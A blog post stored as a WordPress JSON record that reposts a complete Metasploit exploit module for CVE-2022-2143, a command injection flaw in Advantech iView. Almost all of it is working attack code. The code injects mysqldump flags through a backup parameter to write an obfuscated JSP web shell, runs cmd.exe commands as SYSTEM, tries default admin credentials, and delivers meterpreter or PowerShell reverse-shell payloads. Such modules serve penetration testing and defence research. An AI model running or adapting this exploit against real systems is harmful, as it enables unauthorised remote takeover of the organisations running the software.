{"id":29422,"date":"2022-08-18T21:38:46","date_gmt":"2022-08-18T17:38:46","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/168108\/advantech_iview_networkservlet_cmd_inject.rb.txt"},"modified":"2022-08-24T08:50:25","modified_gmt":"2022-08-24T04:20:25","slug":"advantech-iview-networkservlet-command-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/advantech-iview-networkservlet-command-injection\/","title":{"rendered":"Advantech iView NetworkServlet Command Injection"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Remote<br \/>\nRank = ExcellentRanking<\/p>\n<p dir=\"ltr\">include Msf::Exploit::CmdStager<br \/>\ninclude Msf::Exploit::Remote::HttpClient<br \/>\nprepend Msf::Exploit::Remote::AutoCheck<br \/>\ninclude Msf::Exploit::FileDropper<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;Advantech iView NetworkServlet Command Injection&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nVersions of Advantech iView software below `5.7.04.6469` are<br \/>\nvulnerable to an unauthenticated command injection vulnerability<br \/>\nvia the `NetworkServlet` endpoint.<br \/>\nThe database backup functionality passes a user-controlled parameter,<br \/>\n`backup_file` to the `mysqldump` command. The sanitization functionality only<br \/>\ntests for SQL injection attempts and directory traversal, so leveraging the<br \/>\n`-r` and `-w` `mysqldump` flags permits exploitation.<br \/>\nThe command injection vulnerability is used to write a payload on the target<br \/>\nand achieve remote code execution as NT AUTHORITY\\SYSTEM.<br \/>\n},<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;rgod&#8217;, # Vulnerability discovery<br \/>\n&#8216;y4er&#8217;, # PoC<br \/>\n&#8216;Shelby Pace&#8217; # Metasploit module<br \/>\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/y4er.com\/post\/cve-2022-2143-advantech-iview-networkservlet-command-inject-rce\/&#8217;],<br \/>\n[ &#8216;CVE&#8217;, &#8216;2022-2143&#8217;]\n],<br \/>\n&#8216;Platform&#8217; =&gt; [ &#8216;win&#8217; ],<br \/>\n&#8216;Privileged&#8217; =&gt; true,<br \/>\n&#8216;Arch&#8217; =&gt; [ ARCH_X86, ARCH_X64, ARCH_CMD ],<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[<br \/>\n&#8216;Windows Dropper&#8217;,<br \/>\n{<br \/>\n&#8216;Arch&#8217; =&gt; [ ARCH_X86, ARCH_X64 ],<br \/>\n&#8216;Type&#8217; =&gt; :win_dropper,<br \/>\n&#8216;CmdStagerFlavor&#8217; =&gt; [ &#8216;psh_invokewebrequest&#8217;, &#8216;vbs&#8217; ],<br \/>\n&#8216;DefaultOptions&#8217; =&gt; { &#8216;PAYLOAD&#8217; =&gt; &#8216;windows\/x64\/meterpreter\/reverse_tcp&#8217; }<br \/>\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;Windows Command&#8217;,<br \/>\n{<br \/>\n&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>\n&#8216;Type&#8217; =&gt; :win_cmd,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; { &#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/windows\/powershell_reverse_tcp&#8217; }<br \/>\n}<br \/>\n]\n],<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-06-28&#8217;,<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [ CRASH_SAFE ],<br \/>\n&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION ],<br \/>\n&#8216;SideEffects&#8217; =&gt; [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]\n}<br \/>\n)<br \/>\n)<\/p>\n<p dir=\"ltr\">register_options(<br \/>\n[<br \/>\nOpt::RPORT(8080),<br \/>\nOptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The base path to Advantech iView&#8217;, &#8216;\/iView3&#8217;]),<br \/>\nOptString.new(&#8216;USERNAME&#8217;, [ false, &#8216;The user name to authenticate with&#8217;, &#8216;admin&#8217;]),<br \/>\nOptString.new(&#8216;PASSWORD&#8217;, [ false, &#8216;The password to authenticate with&#8217;, &#8216;password&#8217;])<br \/>\n]\n)<br \/>\nend<\/p>\n<p dir=\"ltr\">def check<br \/>\nres = send_request_cgi!(<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path)<br \/>\n)<\/p>\n<p dir=\"ltr\">return CheckCode::Unknown(&#8216;Failed to receive a response from the application&#8217;) unless res<\/p>\n<p dir=\"ltr\">unless res.body.include?(&#8216;iView&#8217;)<br \/>\nreturn CheckCode::Safe(&#8216;No confirmation that target is Advantech iView&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">res = send_db_backup_request(&#8221;)<br \/>\nreturn CheckCode::Detected(&#8216;Failed to receive response from backup request&#8217;) unless res<\/p>\n<p dir=\"ltr\"># The patch added auth as a requirement for<br \/>\n# accessing the NetworkServlet endpoint<br \/>\nif res.body =~ \/ERROR:\\s+User\\s+Not\\sLogin\/<br \/>\n@needs_auth = true<br \/>\nprint_status(&#8216;Vulnerability is present, though authentication is required.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">CheckCode::Appears<br \/>\nend<\/p>\n<p dir=\"ltr\">def send_db_backup_request(filename)<br \/>\nsend_request_cgi(<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;NetworkServlet&#8217;),<br \/>\n&#8216;keep_cookies&#8217; =&gt; true,<br \/>\n&#8216;vars_post&#8217; =&gt;<br \/>\n{<br \/>\n&#8216;page_action_type&#8217; =&gt; &#8216;backupDatabase&#8217;,<br \/>\n&#8216;backup_filename&#8217; =&gt; filename<br \/>\n}<br \/>\n)<br \/>\nend<\/p>\n<p dir=\"ltr\">def format_jsp<br \/>\nbin_nums = []\narg_nums = []\nflag_nums = []\n<p dir=\"ltr\">bin_param.each_char { |c| bin_nums &lt;&lt; c.ord }<br \/>\nbin_nums = bin_nums.join(&#8216;,&#8217;)<br \/>\narg_param.each_char { |c| arg_nums &lt;&lt; c.ord }<br \/>\narg_nums = arg_nums.join(&#8216;,&#8217;)<br \/>\nflag_param.each_char { |c| flag_nums &lt;&lt; c.ord }<br \/>\nflag_nums = flag_nums.join(&#8216;,&#8217;)<\/p>\n<p dir=\"ltr\">&#8216;&lt;%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((&#8216; \\<br \/>\n&#8216;new ProcessBuilder(request.getParameter(&#8216; \\<br \/>\n&#8220;new java.lang.String(new byte[]{#{bin_nums}})),&#8221; \\<br \/>\n&#8220;request.getParameter(new java.lang.String(new byte[]{#{flag_nums}})),&#8221; \\<br \/>\n&#8220;request.getParameter(new java.lang.String(new byte[]{#{arg_nums}}))).start())&#8221; \\<br \/>\n&#8216;.getInputStream()))%&gt;&#8217;<br \/>\nend<\/p>\n<p dir=\"ltr\">def flag_param<br \/>\n@flag_param ||= Rex::Text.rand_text_alpha(3..8)<br \/>\nend<\/p>\n<p dir=\"ltr\">def arg_param<br \/>\n@arg_param ||= Rex::Text.rand_text_alpha(3..8)<br \/>\nend<\/p>\n<p dir=\"ltr\">def bin_param<br \/>\n@bin_param ||= Rex::Text.rand_text_alpha(3..8)<br \/>\nend<\/p>\n<p dir=\"ltr\">def jsp_filename<br \/>\n@jsp_filename ||= &#8220;#{Rex::Text.rand_text_alpha(5..12)}.jsp&#8221;<br \/>\nend<\/p>\n<p dir=\"ltr\">def execute_command(cmd, _opts = {})<br \/>\nsend_request_cgi(<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, jsp_filename),<br \/>\n&#8216;keep_cookies&#8217; =&gt; true,<br \/>\n&#8216;vars_get&#8217; =&gt;<br \/>\n{<br \/>\nbin_param =&gt; &#8216;cmd.exe&#8217;,<br \/>\nflag_param =&gt; &#8216;\/c&#8217;,<br \/>\narg_param =&gt; cmd<br \/>\n}<br \/>\n)<br \/>\nend<\/p>\n<p dir=\"ltr\">def iview_authenticate<br \/>\nres = send_request_cgi!(<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path)<br \/>\n)<\/p>\n<p dir=\"ltr\">fail_with(Failure::UnexpectedReply, &#8216;Login page not found&#8217;) unless res &amp;&amp; res.body.include?(&#8216;loginWindow&#8217;)<br \/>\nvprint_good(&#8216;Successfully accessed the login page&#8217;)<\/p>\n<p dir=\"ltr\">res = send_request_cgi(<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;CommandServlet&#8217;),<br \/>\n&#8216;keep_cookies&#8217; =&gt; true,<br \/>\n&#8216;vars_post&#8217; =&gt; {<br \/>\n&#8216;page_action_service&#8217; =&gt; &#8216;UserServlet&#8217;,<br \/>\n&#8216;page_action_type&#8217; =&gt; &#8216;login&#8217;,<br \/>\n&#8216;user_name&#8217; =&gt; datastore[&#8216;USERNAME&#8217;],<br \/>\n&#8216;user_password&#8217; =&gt; datastore[&#8216;PASSWORD&#8217;],<br \/>\n&#8216;use_ldap&#8217; =&gt; &#8216;false&#8217;,<br \/>\n&#8216;data&#8217; =&gt; &#8221;<br \/>\n}<br \/>\n)<\/p>\n<p dir=\"ltr\">unless res &amp;&amp; res.body.include?(&#8216;Success&#8217;)<br \/>\nfail_with(Failure::BadConfig, &#8216;Authentication failed. Credentials likely incorrect.&#8217;)<br \/>\nend<br \/>\nvprint_good(&#8216;Authentication successful!&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def need_auth?<br \/>\nres = send_request_cgi(<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;NetworkServlet&#8217;)<br \/>\n)<br \/>\nreturn false unless res<\/p>\n<p dir=\"ltr\">!!(res.body =~ \/ERROR:\\s+User\\s+Not\\sLogin\/)<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\nif @needs_auth || need_auth?<br \/>\niview_authenticate<br \/>\nend<\/p>\n<p dir=\"ltr\">jsp_code = format_jsp<\/p>\n<p dir=\"ltr\">sql_filename = &#8220;#{Rex::Text.rand_text_alpha(5..12)}.sql&#8221;<br \/>\nfull_cmd = &#8220;#{sql_filename}\\&#8221; -r \\&#8221;.\/webapps\/iView3\/#{jsp_filename}\\&#8221; -w \\&#8221;#{jsp_code}\\&#8221;&#8221;<\/p>\n<p dir=\"ltr\">res = send_db_backup_request(full_cmd)<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;Failed to write JSP file to target&#8217;) unless res<\/p>\n<p dir=\"ltr\">path = &#8220;webapps\\\\iView3\\\\#{jsp_filename}&#8221;<br \/>\nregister_file_for_cleanup(path)<br \/>\nif target[&#8216;Type&#8217;] == :win_dropper<br \/>\nexecute_cmdstager<br \/>\nelse<br \/>\nexecute_command(payload.encoded)<br \/>\nend<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;Advantech iView NetworkServlet Command Injection&#8217;, &#8216;Description&#8217; =&gt; %q{ Versions of Advantech iView software below `5.7.04.6469` are vulnerable to an &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-29422","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/29422","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=29422"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/29422\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=29422"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=29422"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=29422"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}